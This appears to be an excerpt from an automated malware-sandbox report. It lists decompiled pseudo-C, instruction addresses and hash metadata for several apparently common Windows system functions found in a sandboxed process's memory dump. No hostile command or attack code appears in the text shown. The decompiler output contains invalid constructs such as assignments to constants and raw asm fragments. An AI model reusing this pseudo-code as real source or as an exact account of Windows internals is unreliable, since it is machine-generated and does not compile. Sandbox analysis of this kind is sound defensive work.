									goto L9;
								}
								_t210 = _v44;
								_t127 = _t210 + 0x1c; // 0x1c
								_t249 = _t127;
								E04682280(_t181, _t127);
								 *(_t210 + 0x20) =  *( *[fs:0x18] + 0x24);
								_t185 =  *((intOrPtr*)(_t210 + 0x94));
								if( *((intOrPtr*)(_t210 + 0x94)) != 0) {
									L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t185);
								}
								_t189 = L04684620(_t226,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v20 + 0x10);
								 *((intOrPtr*)(_t210 + 0x94)) = _t189;
								if(_t189 != 0) {
									 *((intOrPtr*)(_t189 + 8)) = _v20;
									 *( *((intOrPtr*)(_t210 + 0x94)) + 0xc) = _v16;
									_t232 =  *((intOrPtr*)(_t210 + 0x94));
									 *_t232 = _t232 + 0x10;
									 *(_t232 + 4) =  *(_t232 + 4) & 0x00000000;
									E046AF3E0( *((intOrPtr*)( *((intOrPtr*)(_t210 + 0x94)))), _v28, _v20);
									_t256 = _t256 + 0xc;
								}
								 *(_t210 + 0x20) =  *(_t210 + 0x20) & 0x00000000;
								E0467FFB0(_t210, _t249, _t249);
								_t222 = _v76;
								_t172 = _v80;
								_t208 = _v84;
								_t247 = _v88;
								L10:
								_t238 =  *((intOrPtr*)(_t251 + 0x1c));
								_v44 = _t238;
								if(_t238 != 0) {
									 *0x475b1e0(_v48 + 0x38, _v36, _v63, _t172, _t222, _t247, _t208, _v32,  *((intOrPtr*)(_t251 + 0x20)));
									_v44();
								}
								_pop(_t248);
								_pop(_t252);
								_pop(_t209);
								return E046AB640(0, _t209, _v8 ^ _t256, _t238, _t248, _t252);
							}
							_t181 = _v92;
							L31:
							_t226 = _t226 + 1;
							_t181 =  &(_t181[0x18]);
							_v88 = _t226;
							_v92 = _t181;
						} while (_t226 < 4);
						goto L34;
					}
					L9:
					_t172 = _v104;
					_t222 = _v100;
					goto L10;
				}
				_t247 = _t246 | 0xffffffff;
				_t208 = _t247;
				_v84 = _t247;
				_v80 = _t208;
				if( *((intOrPtr*)(_t251 + 0x4c)) == _t157) {
					_t233 = _v72;
					_v105 = _v64;
					_t202 = _v76;
				} else {
					_t204 =  *((intOrPtr*)(_t251 + 0x4d));
					_v105 = 1;
					if(_v63 <= _t204) {
						_v63 = _t204;
					}
					_t202 = _v76 |  *(_t251 + 0x40);
					_t233 = _v72 |  *(_t251 + 0x44);
					_t247 =  *(_t251 + 0x38);
					_t208 =  *(_t251 + 0x3c);
					_v76 = _t202;
					_v72 = _t233;
					_v84 = _t247;
					_v80 = _t208;
				}
				_v104 = _t202;
				_v100 = _t233;
				if( *((char*)(_t251 + 0xc4)) != 0) {
					_t237 = _v48;
					_v105 = 1;
					if(_v63 <=  *((intOrPtr*)(_t251 + 0xc5))) {
						_v63 =  *((intOrPtr*)(_t251 + 0xc5));
						_t237 = _v48;
					}
					_t203 = _t202 |  *(_t251 + 0xb8);
					_t234 = _t233 |  *(_t251 + 0xbc);
					_t247 = _t247 &  *(_t251 + 0xb0);
					_t208 = _t208 &  *(_t251 + 0xb4);
					_v104 = _t203;
					_v76 = _t203;
					_v100 = _t234;
					_v72 = _t234;
					_v84 = _t247;
					_v80 = _t208;
				}
				if(_v105 == 0) {
					_v36 = _v36 & 0x00000000;
					_t208 = 0;
					_t247 = 0;
					 *(_t237 + 0x74) =  *(_t237 + 0x74) & 0;
					goto L19;
				} else {
					_v36 = 1;
					goto L8;
				}
			}

0x04695142
0x0469514c
0x04695150
0x04695157
0x04695159
0x0469515e
0x04695165
0x04695169
0x0469516c
0x04695172
0x04695176
0x0469517a
0x0469517a
0x0469517a
0x0469517f
0x046d6d8b
0x046d6d8e
0x046d6d91
0x046d6d95
0x046d6d98
0x046d6d9c
0x046d6da0
0x046d6da3
0x046d6da7
0x046d6e26
0x046d6e26
0x046d6e2a
0x046951f9
0x046951f9
0x046951fe
0x046d6e33
0x046d6e33
0x046d6e39
0x046d6e3d
0x046d6e46
0x046d6e50
0x00000000
0x00000000
0x046d6e52
0x046d6e53
0x046d6e56
0x046d6e5d
0x00000000
0x00000000
0x00000000
0x046d6e5f
0x046d6e67
0x046d6e77
0x046d6e7f
0x046d6e80
0x046d6e88
0x046d6e90
0x046d6e9f
0x046d6ea5
0x046d6ea9
0x046d6eb1
0x046d6ebf
0x00000000
0x00000000
0x046d6ecf
0x046d6ed3
0x00000000
0x00000000
0x046d6edb
0x046d6ede
0x046d6ee1
0x046d6ee8
0x046d6eeb
0x046d6eed
0x046d6ef0
0x046d6ef4
0x046d6ef8
0x046d6efc
0x00000000
0x00000000
0x046d6f0d
0x046d6f11
0x046d6f32
0x046d6f37
0x046d6f3b
0x046d6f3e
0x046d6f41
0x046d6f46
0x00000000
0x00000000
0x046d6f4c
0x046d6f50
0x046d6f50
0x046d6f54
0x046d6f62
0x046d6f65
0x046d6f6d
0x046d6f7b
0x046d6f7b
0x046d6f93
0x046d6f98
0x046d6fa0
0x046d6fa6
0x046d6fb3
0x046d6fb6
0x046d6fbf
0x046d6fc1
0x046d6fd5
0x046d6fda
0x046d6fda
0x046d6fdd
0x046d6fe2
0x046d6fe7
0x046d6feb
0x046d6fef
0x046d6ff3
0x0469520c
0x0469520c
0x0469520f
0x04695215
0x04695234
0x0469523a
0x0469523a
0x04695244
0x04695245
0x04695246
0x04695251
0x04695251
0x046d6f13
0x046d6f17
0x046d6f17
0x046d6f18
0x046d6f1b
0x046d6f1f
0x046d6f23
0x00000000
0x046d6f28
0x04695204
0x04695204
0x04695208
0x00000000
0x04695208
0x04695185
0x04695188
0x0469518a
0x0469518e
0x04695195
0x046d6db1
0x046d6db5
0x046d6db9
0x0469519b
0x0469519b
0x0469519e
0x046951a7
0x046951a9
0x046951a9
0x046951b5
0x046951b8
0x046951bb
0x046951be
0x046951c1
0x046951c5
0x046951c9
0x046951cd
0x046951cd
0x046951d8
0x046951dc
0x046951e0
0x046d6dcc
0x046d6dd0
0x046d6dd5
0x046d6ddd
0x046d6de1
0x046d6de1
0x046d6de5
0x046d6deb
0x046d6df1
0x046d6df7
0x046d6dfd
0x046d6e01
0x046d6e05
0x046d6e09
0x046d6e0d
0x046d6e11
0x046d6e11
0x046951eb
0x046d6e1a
0x046d6e1f
0x046d6e21
0x046d6e23
0x00000000
0x046951f1
0x046951f1
0x00000000
0x046951f1

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae324f973b186fe55af01c813ac552a1d39dd64f52f9910ca8e5bf55b177e459
Instruction ID: 3dea1d3c756e76541a6fd952bbfa7a3da17c82c4f8a59567bdf20d0bdec1d312
Opcode Fuzzy Hash: ae324f973b186fe55af01c813ac552a1d39dd64f52f9910ca8e5bf55b177e459
Instruction Fuzzy Hash: 6CC124755083809FD755CF28C580A6AFBF1BF88304F144A6EF8998B352E775E945CB42

Uniqueness

Uniqueness Score: -1.00%

Function 046903E2, Relevance: .3, Instructions: 254
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E046903E2(signed int __ecx, signed int __edx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				intOrPtr _v40;
				signed int _v44;
				signed int _v48;
				char _v52;
				char _v56;
				char _v64;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t56;
				signed int _t58;
				char* _t64;
				intOrPtr _t65;
				signed int _t74;
				signed int _t79;
				char* _t83;
				intOrPtr _t84;
				signed int _t93;
				signed int _t94;
				signed char* _t95;
				signed int _t99;
				signed int _t100;
				signed char* _t101;
				signed int _t105;
				signed int _t119;
				signed int _t120;
				void* _t122;
				signed int _t123;
				signed int _t127;

				_v8 =  *0x475d360 ^ _t127;
				_t119 = __ecx;
				_t105 = __edx;
				_t118 = 0;
				_v20 = __edx;
				_t120 =  *(__ecx + 0x20);
				if(E04690548(__ecx, 0) != 0) {
					_t56 = 0xc000022d;
					L23:
					return E046AB640(_t56, _t105, _v8 ^ _t127, _t118, _t119, _t120);
				} else {
					_v12 = _v12 | 0xffffffff;
					_t58 = _t120 + 0x24;
					_t109 =  *(_t120 + 0x18);
					_t118 = _t58;
					_v16 = _t58;
					E0467B02A( *(_t120 + 0x18), _t118, 0x14a5);
					_v52 = 0x18;
					_v48 = 0;
					0x840 = 0x40;
					if( *0x4757c1c != 0) {
					}
					_v40 = 0x840;
					_v44 = _t105;
					_v36 = 0;
					_v32 = 0;
					if(E04687D50() != 0) {
						_t64 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					} else {
						_t64 = 0x7ffe0384;
					}
					if( *_t64 != 0) {
						_t65 =  *[fs:0x30];
						__eflags =  *(_t65 + 0x240) & 0x00000004;
						if(( *(_t65 + 0x240) & 0x00000004) != 0) {
							_t100 = E04687D50();
							__eflags = _t100;
							if(_t100 == 0) {
								_t101 = 0x7ffe0385;
							} else {
								_t101 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
							}
							__eflags =  *_t101 & 0x00000020;
							if(( *_t101 & 0x00000020) != 0) {
								_t118 = _t118 | 0xffffffff;
								_t109 = 0x1485;
								E046E7016(0x1485, _t118, 0xffffffff, 0xffffffff, 0, 0);
							}
						}
					}
					_t105 = 0;
					while(1) {
						_push(0x60);
						_push(5);
						_push( &_v64);
						_push( &_v52);
						_push(0x100021);
						_push( &_v12);
						_t122 = E046A9830();
						if(_t122 >= 0) {
							break;
						}
						__eflags = _t122 - 0xc0000034;
						if(_t122 == 0xc0000034) {
							L38:
							_t120 = 0xc0000135;
							break;
						}
						__eflags = _t122 - 0xc000003a;
						if(_t122 == 0xc000003a) {
							goto L38;
						}
						__eflags = _t122 - 0xc0000022;
						if(_t122 != 0xc0000022) {
							break;
						}
						__eflags = _t105;
						if(__eflags != 0) {
							break;
						}
						_t109 = _t119;
						_t99 = E046E69A6(_t119, __eflags);
						__eflags = _t99;
						if(_t99 == 0) {
							break;
						}
						_t105 = _t105 + 1;
					}
					if( !_t120 >= 0) {
						L22:
						_t56 = _t120;
						goto L23;
					}
					if( *0x4757c04 != 0) {
						_t118 = _v12;
						_t120 = E046EA7AC(_t119, _t118, _t109);
						__eflags = _t120;
						if(_t120 >= 0) {
							goto L10;
						}
						__eflags =  *0x4757bd8;
						if( *0x4757bd8 != 0) {
							L20:
							if(_v12 != 0xffffffff) {
								_push(_v12);
								E046A95D0();
							}
							goto L22;
						}
					}
					L10:
					_push(_v12);
					_t105 = _t119 + 0xc;
					_push(0x1000000);
					_push(0x10);
					_push(0);
					_push(0);
					_push(0xf);
					_push(_t105);
					_t120 = E046A99A0();
					if(_t120 < 0) {
						__eflags = _t120 - 0xc000047e;
						if(_t120 == 0xc000047e) {
							L51:
							_t74 = E046E3540(_t120);
							_t119 = _v16;
							_t120 = _t74;
							L52:
							_t118 = 0x1485;
							E0466B1E1(_t120, 0x1485, 0, _t119);
							goto L20;
						}
						__eflags = _t120 - 0xc000047f;
						if(_t120 == 0xc000047f) {
							goto L51;
						}
						__eflags = _t120 - 0xc0000462;
						if(_t120 == 0xc0000462) {
							goto L51;
						}
						_t119 = _v16;
						__eflags = _t120 - 0xc0000017;
						if(_t120 != 0xc0000017) {
							__eflags = _t120 - 0xc000009a;
							if(_t120 != 0xc000009a) {
								__eflags = _t120 - 0xc000012d;
								if(_t120 != 0xc000012d) {
									_v28 = _t119;
									_push( &_v56);
									_push(1);
									_v24 = _t120;
									_push( &_v28);
									_push(1);
									_push(2);
									_push(0xc000007b);
									_t79 = E046AAAF0();
									__eflags = _t79;
									if(_t79 >= 0) {
										__eflags =  *0x4758474 - 3;
										if( *0x4758474 != 3) {
											 *0x47579dc =  *0x47579dc + 1;
										}
									}
								}
							}
						}
						goto L52;
					}
					if(E04687D50() != 0) {
						_t83 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					} else {
						_t83 = 0x7ffe0384;
					}
					if( *_t83 != 0) {
						_t84 =  *[fs:0x30];
						__eflags =  *(_t84 + 0x240) & 0x00000004;
						if(( *(_t84 + 0x240) & 0x00000004) != 0) {
							_t94 = E04687D50();
							__eflags = _t94;
							if(_t94 == 0) {
								_t95 = 0x7ffe0385;
							} else {
								_t95 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
							}
							__eflags =  *_t95 & 0x00000020;
							if(( *_t95 & 0x00000020) != 0) {
								E046E7016(0x1486, _t118, 0xffffffff, 0xffffffff, 0, 0);
							}
						}
					}
					if(( *(_t119 + 0x10) & 0x00000100) == 0) {
						if( *0x4758708 != 0) {
							_t118 =  *0x7ffe0330;
							_t123 =  *0x4757b00; // 0x0
							asm("ror esi, cl");
							 *0x475b1e0(_v12, _v20, 0x20);
							_t93 =  *(_t123 ^  *0x7ffe0330)();
							_t50 = _t93 + 0x3ffffddb; // 0x3ffffddb
							asm("sbb esi, esi");
							_t120 =  ~_t50 & _t93;
						} else {
							_t120 = 0;
						}
					}
					if( !_t120 >= 0) {
						L19:
						_push( *_t105);
						E046A95D0();
						 *_t105 =  *_t105 & 0x00000000;
						goto L20;
					}
					_t120 = E04677F65(_t119);
					if( *((intOrPtr*)(_t119 + 0x60)) != 0) {
						__eflags = _t120;
						if(_t120 < 0) {
							goto L19;
						}
						 *(_t119 + 0x64) = _v12;
						goto L22;
					}
					goto L19;
				}
			}

0x046903f1
0x046903f7
0x046903f9
0x046903fb
0x046903fd
0x04690400
0x0469040a
0x046d4c7a
0x04690537
0x04690547
0x04690410
0x04690410
0x04690414
0x04690417
0x0469041a
0x04690421
0x04690424
0x0469042b
0x0469043b
0x0469043e
0x0469043f
0x0469043f
0x04690446
0x04690449
0x0469044c
0x0469044f
0x04690459
0x046d4c8d
0x0469045f
0x0469045f
0x0469045f
0x04690467
0x046d4c97
0x046d4c9d
0x046d4ca4
0x046d4caa
0x046d4caf
0x046d4cb1
0x046d4cc3
0x046d4cb3
0x046d4cbc
0x046d4cbc
0x046d4cc8
0x046d4ccb
0x046d4cd7
0x046d4cda
0x046d4cdf
0x046d4cdf
0x046d4ccb
0x046d4ca4
0x0469046d
0x0469046f
0x0469046f
0x04690471
0x04690476
0x0469047a
0x0469047b
0x04690483
0x04690489
0x0469048d
0x00000000
0x00000000
0x046d4ce9
0x046d4cef
0x046d4d22
0x046d4d22
0x00000000
0x046d4d22
0x046d4cf1
0x046d4cf7
0x00000000
0x00000000
0x046d4cf9
0x046d4cff
0x00000000
0x00000000
0x046d4d05
0x046d4d07
0x00000000
0x00000000
0x046d4d0d
0x046d4d0f
0x046d4d14
0x046d4d16
0x00000000
0x00000000
0x046d4d1c
0x046d4d1c
0x04690499
0x04690535
0x04690535
0x00000000
0x04690535
0x046904a6
0x046d4d2c
0x046d4d37
0x046d4d39
0x046d4d3b
0x00000000
0x00000000
0x046d4d41
0x046d4d48
0x04690527
0x0469052b
0x0469052d
0x04690530
0x04690530
0x00000000
0x0469052b
0x046d4d4e
0x046904ac
0x046904ac
0x046904af
0x046904b2
0x046904b7
0x046904b9
0x046904bb
0x046904bd
0x046904bf
0x046904c5
0x046904c9
0x046d4d53
0x046d4d59
0x046d4db9
0x046d4dba
0x046d4dbf
0x046d4dc2
0x046d4dc4
0x046d4dc7
0x046d4dce
0x00000000
0x046d4dce
0x046d4d5b
0x046d4d61
0x00000000
0x00000000
0x046d4d63
0x046d4d69
0x00000000
0x00000000
0x046d4d6b
0x046d4d6e
0x046d4d74
0x046d4d76
0x046d4d7c
0x046d4d7e
0x046d4d84
0x046d4d89
0x046d4d8c
0x046d4d8d
0x046d4d92
0x046d4d95
0x046d4d96
0x046d4d98
0x046d4d9a
0x046d4d9f
0x046d4da4
0x046d4da6
0x046d4da8
0x046d4daf
0x046d4db1
0x046d4db1
0x046d4daf
0x046d4da6
0x046d4d84
0x046d4d7c
0x00000000
0x046d4d74
0x046904d6
0x046d4de1
0x046904dc
0x046904dc
0x046904dc
0x046904e4
0x046d4deb
0x046d4df1
0x046d4df8
0x046d4dfe
0x046d4e03
0x046d4e05
0x046d4e17
0x046d4e07
0x046d4e10
0x046d4e10
0x046d4e1c
0x046d4e1f
0x046d4e35
0x046d4e35
0x046d4e1f
0x046d4df8
0x046904f1
0x046904fa
0x046d4e3f
0x046d4e47
0x046d4e5b
0x046d4e61
0x046d4e67
0x046d4e69
0x046d4e71
0x046d4e73
0x04690500
0x04690500
0x04690500
0x046904fa
0x04690508
0x0469051d
0x0469051d
0x0469051f
0x04690524
0x00000000
0x04690524
0x04690515
0x04690517
0x046d4e7a
0x046d4e7c
0x00000000
0x00000000
0x046d4e85
0x00000000
0x046d4e85
0x00000000
0x04690517

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fbab27f67dff7f3a9cd381f7804fbf724bdcc7fc764017070878b4d61ee6842
Instruction ID: 03fcbb1de9e5b34884dab75ec3bea9fadb80fe254cfe7021915ac39479051145
Opcode Fuzzy Hash: 4fbab27f67dff7f3a9cd381f7804fbf724bdcc7fc764017070878b4d61ee6842
Instruction Fuzzy Hash: BD910531E00314EFEF219A68C944BAD7BE8EB05B24F150266E911AB3D1FBB4BC40C785

Uniqueness

Uniqueness Score: -1.00%

Function 0466C600, Relevance: .2, Instructions: 225
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E0466C600(intOrPtr _a4, intOrPtr _a8, signed int _a12, signed char _a16, intOrPtr _a20, signed int _a24) {
				signed int _v8;
				char _v1036;
				signed int _v1040;
				char _v1048;
				signed int _v1052;
				signed char _v1056;
				void* _v1058;
				char _v1060;
				signed int _v1064;
				void* _v1068;
				intOrPtr _v1072;
				void* _v1084;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t70;
				intOrPtr _t72;
				signed int _t74;
				intOrPtr _t77;
				signed int _t78;
				signed int _t81;
				void* _t101;
				signed int _t102;
				signed int _t107;
				signed int _t109;
				signed int _t110;
				signed char _t111;
				signed int _t112;
				signed int _t113;
				signed int _t114;
				intOrPtr _t116;
				void* _t117;
				char _t118;
				void* _t120;
				char _t121;
				signed int _t122;
				signed int _t123;
				signed int _t125;

				_t125 = (_t123 & 0xfffffff8) - 0x424;
				_v8 =  *0x475d360 ^ _t125;
				_t116 = _a4;
				_v1056 = _a16;
				_v1040 = _a24;
				if(E04676D30( &_v1048, _a8) < 0) {
					L4:
					_pop(_t117);
					_pop(_t120);
					_pop(_t101);
					return E046AB640(_t68, _t101, _v8 ^ _t125, _t114, _t117, _t120);
				}
				_t70 = _a20;
				if(_t70 >= 0x3f4) {
					_t121 = _t70 + 0xc;
					L19:
					_t107 =  *( *[fs:0x30] + 0x18);
					__eflags = _t107;
					if(_t107 == 0) {
						L60:
						_t68 = 0xc0000017;
						goto L4;
					}
					_t72 =  *0x4757b9c; // 0x0
					_t74 = L04684620(_t107, _t107, _t72 + 0x180000, _t121);
					_v1064 = _t74;
					__eflags = _t74;
					if(_t74 == 0) {
						goto L60;
					}
					_t102 = _t74;
					_push( &_v1060);
					_push(_t121);
					_push(_t74);
					_push(2);
					_push( &_v1048);
					_push(_t116);
					_t122 = E046A9650();
					__eflags = _t122;
					if(_t122 >= 0) {
						L7:
						_t114 = _a12;
						__eflags = _t114;
						if(_t114 != 0) {
							_t77 = _a20;
							L26:
							_t109 =  *(_t102 + 4);
							__eflags = _t109 - 3;
							if(_t109 == 3) {
								L55:
								__eflags = _t114 - _t109;
								if(_t114 != _t109) {
									L59:
									_t122 = 0xc0000024;
									L15:
									_t78 = _v1052;
									__eflags = _t78;
									if(_t78 != 0) {
										L046877F0( *( *[fs:0x30] + 0x18), 0, _t78);
									}
									_t68 = _t122;
									goto L4;
								}
								_t110 = _v1056;
								_t118 =  *((intOrPtr*)(_t102 + 8));
								_v1060 = _t118;
								__eflags = _t110;
								if(_t110 == 0) {
									L10:
									_t122 = 0x80000005;
									L11:
									_t81 = _v1040;
									__eflags = _t81;
									if(_t81 == 0) {
										goto L15;
									}
									__eflags = _t122;
									if(_t122 >= 0) {
										L14:
										 *_t81 = _t118;
										goto L15;
									}
									__eflags = _t122 - 0x80000005;
									if(_t122 != 0x80000005) {
										goto L15;
									}
									goto L14;
								}
								__eflags =  *((intOrPtr*)(_t102 + 8)) - _t77;
								if( *((intOrPtr*)(_t102 + 8)) > _t77) {
									goto L10;
								}
								_push( *((intOrPtr*)(_t102 + 8)));
								_t59 = _t102 + 0xc; // 0xc
								_push(_t110);
								L54:
								E046AF3E0();
								_t125 = _t125 + 0xc;
								goto L11;
							}
							__eflags = _t109 - 7;
							if(_t109 == 7) {
								goto L55;
							}
							_t118 = 4;
							__eflags = _t109 - _t118;
							if(_t109 != _t118) {
								__eflags = _t109 - 0xb;
								if(_t109 != 0xb) {
									__eflags = _t109 - 1;
									if(_t109 == 1) {
										__eflags = _t114 - _t118;
										if(_t114 != _t118) {
											_t118 =  *((intOrPtr*)(_t102 + 8));
											_v1060 = _t118;
											__eflags = _t118 - _t77;
											if(_t118 > _t77) {
												goto L10;
											}
											_push(_t118);
											_t56 = _t102 + 0xc; // 0xc
											_push(_v1056);
											goto L54;
										}
										__eflags = _t77 - _t118;
										if(_t77 != _t118) {
											L34:
											_t122 = 0xc0000004;
											goto L15;
										}
										_t111 = _v1056;
										__eflags = _t111 & 0x00000003;
										if((_t111 & 0x00000003) == 0) {
											_v1060 = _t118;
											__eflags = _t111;
											if(__eflags == 0) {
												goto L10;
											}
											_t42 = _t102 + 0xc; // 0xc
											 *((intOrPtr*)(_t125 + 0x20)) = _t42;
											_v1048 =  *((intOrPtr*)(_t102 + 8));
											_push(_t111);
											 *((short*)(_t125 + 0x22)) =  *((intOrPtr*)(_t102 + 8));
											_push(0);
											_push( &_v1048);
											_t122 = E046A13C0(_t102, _t118, _t122, __eflags);
											L44:
											_t118 = _v1072;
											goto L11;
										}
										_t122 = 0x80000002;
										goto L15;
									}
									_t122 = 0xc0000024;
									goto L44;
								}
								__eflags = _t114 - _t109;
								if(_t114 != _t109) {
									goto L59;
								}
								_t118 = 8;
								__eflags = _t77 - _t118;
								if(_t77 != _t118) {
									goto L34;
								}
								__eflags =  *((intOrPtr*)(_t102 + 8)) - _t118;
								if( *((intOrPtr*)(_t102 + 8)) != _t118) {
									goto L34;
								}
								_t112 = _v1056;
								_v1060 = _t118;
								__eflags = _t112;
								if(_t112 == 0) {
									goto L10;
								}
								 *_t112 =  *((intOrPtr*)(_t102 + 0xc));
								 *((intOrPtr*)(_t112 + 4)) =  *((intOrPtr*)(_t102 + 0x10));
								goto L11;
							}
							__eflags = _t114 - _t118;
							if(_t114 != _t118) {
								goto L59;
							}
							__eflags = _t77 - _t118;
							if(_t77 != _t118) {
								goto L34;
							}
							__eflags =  *((intOrPtr*)(_t102 + 8)) - _t118;
							if( *((intOrPtr*)(_t102 + 8)) != _t118) {
								goto L34;
							}
							_t113 = _v1056;
							_v1060 = _t118;
							__eflags = _t113;
							if(_t113 == 0) {
								goto L10;
							}
							 *_t113 =  *((intOrPtr*)(_t102 + 0xc));
							goto L11;
						}
						_t118 =  *((intOrPtr*)(_t102 + 8));
						__eflags = _t118 - _a20;
						if(_t118 <= _a20) {
							_t114 =  *(_t102 + 4);
							_t77 = _t118;
							goto L26;
						}
						_v1060 = _t118;
						goto L10;
					}
					__eflags = _t122 - 0x80000005;
					if(_t122 != 0x80000005) {
						goto L15;
					}
					L046877F0( *( *[fs:0x30] + 0x18), 0, _t102);
					L18:
					_t121 = _v1060;
					goto L19;
				}
				_push( &_v1060);
				_push(0x400);
				_t102 =  &_v1036;
				_push(_t102);
				_push(2);
				_push( &_v1048);
				_push(_t116);
				_t122 = E046A9650();
				if(_t122 >= 0) {
					__eflags = 0;
					_v1052 = 0;
					goto L7;
				}
				if(_t122 == 0x80000005) {
					goto L18;
				}
				goto L4;
			}

0x0466c608
0x0466c615
0x0466c625
0x0466c62d
0x0466c635
0x0466c640
0x0466c680
0x0466c687
0x0466c688
0x0466c689
0x0466c694
0x0466c694
0x0466c642
0x0466c64a
0x0466c697
0x046d7a25
0x046d7a2b
0x046d7a2e
0x046d7a30
0x046d7bea
0x046d7bea
0x00000000
0x046d7bea
0x046d7a36
0x046d7a43
0x046d7a48
0x046d7a4c
0x046d7a4e
0x00000000
0x00000000
0x046d7a58
0x046d7a5a
0x046d7a5b
0x046d7a5c
0x046d7a5d
0x046d7a63
0x046d7a64
0x046d7a6a
0x046d7a6c
0x046d7a6e
0x046d79cb
0x046d79cb
0x046d79ce
0x046d79d0
0x046d7a98
0x046d7a9b
0x046d7a9b
0x046d7a9e
0x046d7aa1
0x046d7bbe
0x046d7bbe
0x046d7bc0
0x046d7be0
0x046d7be0
0x046d7a01
0x046d7a01
0x046d7a05
0x046d7a07
0x046d7a15
0x046d7a15
0x046d7a1a
0x00000000
0x046d7a1a
0x046d7bc2
0x046d7bc6
0x046d7bc9
0x046d7bcd
0x046d7bcf
0x046d79e6
0x046d79e6
0x046d79eb
0x046d79eb
0x046d79ef
0x046d79f1
0x00000000
0x00000000
0x046d79f3
0x046d79f5
0x046d79ff
0x046d79ff
0x00000000
0x046d79ff
0x046d79f7
0x046d79fd
0x00000000
0x00000000
0x00000000
0x046d79fd
0x046d7bd5
0x046d7bd8
0x00000000
0x00000000
0x046d7ba9
0x046d7bac
0x046d7bb0
0x046d7bb1
0x046d7bb1
0x046d7bb6
0x00000000
0x046d7bb6
0x046d7aa7
0x046d7aaa
0x00000000
0x00000000
0x046d7ab2
0x046d7ab3
0x046d7ab5
0x046d7aec
0x046d7aef
0x046d7b25
0x046d7b28
0x046d7b62
0x046d7b64
0x046d7b8f
0x046d7b92
0x046d7b96
0x046d7b98
0x00000000
0x00000000
0x046d7b9e
0x046d7b9f
0x046d7ba3
0x00000000
0x046d7ba3
0x046d7b66
0x046d7b68
0x046d7ae2
0x046d7ae2
0x00000000
0x046d7ae2
0x046d7b6e
0x046d7b72
0x046d7b75
0x046d7b81
0x046d7b85
0x046d7b87
0x00000000
0x00000000
0x046d7b31
0x046d7b34
0x046d7b3c
0x046d7b45
0x046d7b46
0x046d7b4f
0x046d7b51
0x046d7b57
0x046d7b59
0x046d7b59
0x00000000
0x046d7b59
0x046d7b77
0x00000000
0x046d7b77
0x046d7b2a
0x00000000
0x046d7b2a
0x046d7af1
0x046d7af3
0x00000000
0x00000000
0x046d7afb
0x046d7afc
0x046d7afe
0x00000000
0x00000000
0x046d7b00
0x046d7b03
0x00000000
0x00000000
0x046d7b05
0x046d7b09
0x046d7b0d
0x046d7b0f
0x00000000
0x00000000
0x046d7b18
0x046d7b1d
0x00000000
0x046d7b1d
0x046d7ab7
0x046d7ab9
0x00000000
0x00000000
0x046d7abf
0x046d7ac1
0x00000000
0x00000000
0x046d7ac3
0x046d7ac6
0x00000000
0x00000000
0x046d7ac8
0x046d7acc
0x046d7ad0
0x046d7ad2
0x00000000
0x00000000
0x046d7adb
0x00000000
0x046d7adb
0x046d79d6
0x046d79d9
0x046d79dc
0x046d7a91
0x046d7a94
0x00000000
0x046d7a94
0x046d79e2
0x00000000
0x046d79e2
0x046d7a74
0x046d7a7a
0x00000000
0x00000000
0x046d7a8a
0x046d7a21
0x046d7a21
0x00000000
0x046d7a21
0x0466c650
0x0466c651
0x0466c656
0x0466c65c
0x0466c65d
0x0466c663
0x0466c664
0x0466c66a
0x0466c66e
0x046d79c5
0x046d79c7
0x00000000
0x046d79c7
0x0466c67a
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3d6777c1d29166129375d0e90f0339b009ba212f171b8e0acdebd77ffb9b936d
Instruction ID: 2bee927aa6a02b248e3019f0b26149e1067145f9853d284ab6ecfb73b210157e
Opcode Fuzzy Hash: 3d6777c1d29166129375d0e90f0339b009ba212f171b8e0acdebd77ffb9b936d
Instruction Fuzzy Hash: EB817A76A046069BDB25CE14C880A6AB3A8FF94355F18886EED45DB344F330FD41CBA3

Uniqueness

Uniqueness Score: -1.00%

Function 046E6DC9, Relevance: .2, Instructions: 199
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E046E6DC9(signed int __ecx, void* __edx) {
				unsigned int _v8;
				intOrPtr _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				char _v60;
				void* _t87;
				void* _t95;
				signed char* _t96;
				signed int _t107;
				signed int _t136;
				signed char* _t137;
				void* _t157;
				void* _t161;
				void* _t167;
				intOrPtr _t168;
				void* _t174;
				void* _t175;
				signed int _t176;
				void* _t177;

				_t136 = __ecx;
				_v44 = 0;
				_t167 = __edx;
				_v40 = 0;
				_v36 = 0;
				_v32 = 0;
				_v60 = 0;
				_v56 = 0;
				_v52 = 0;
				_v48 = 0;
				_v16 = __ecx;
